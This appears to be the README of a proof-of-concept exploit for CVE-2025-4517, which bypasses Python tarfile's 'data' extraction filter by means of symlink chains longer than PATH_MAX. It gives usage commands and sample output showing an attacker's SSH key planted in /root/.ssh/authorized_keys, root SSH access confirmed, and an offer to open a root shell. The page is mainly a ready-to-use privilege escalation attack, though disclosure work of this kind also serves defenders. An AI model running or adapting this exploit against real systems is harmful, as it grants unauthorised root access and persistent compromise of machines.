
Proof-of-concept exploit for CVE-2025-4517, a path traversal vulnerability in Python's tarfile filter='data' sandbox, enabling arbitrary file writes outside extraction directory via crafted symlink chains.
Path traversal vulnerability in Python's
tarfilemodule affecting versions 3.8.0 through 3.13.1. Thefilter="data"sandbox — intended to prevent unsafe extractions — can be bypassed by crafting paths that exceedPATH_MAX(4096 bytes), causingos.path.realpath()to silently stop resolving symlinks. The security check sees a safe-looking path while the kernel resolves the real one, allowing writes outside the extraction directory. This PoC abuses the bypass to write an SSH public key to/root/.ssh/authorized_keys.
PATH_MAX.filter="data" calls os.path.realpath() to validate each path — but at PATH_MAX it stops resolving and sees the path as still inside the staging directory. Check passes./root/.ssh/authorized_keys.ssh-keygen available (or provide your own public key with -k)sudo rights to trigger the vulnerable extraction# Generate a new keypair automatically
python3 exploit.py
# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Example:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):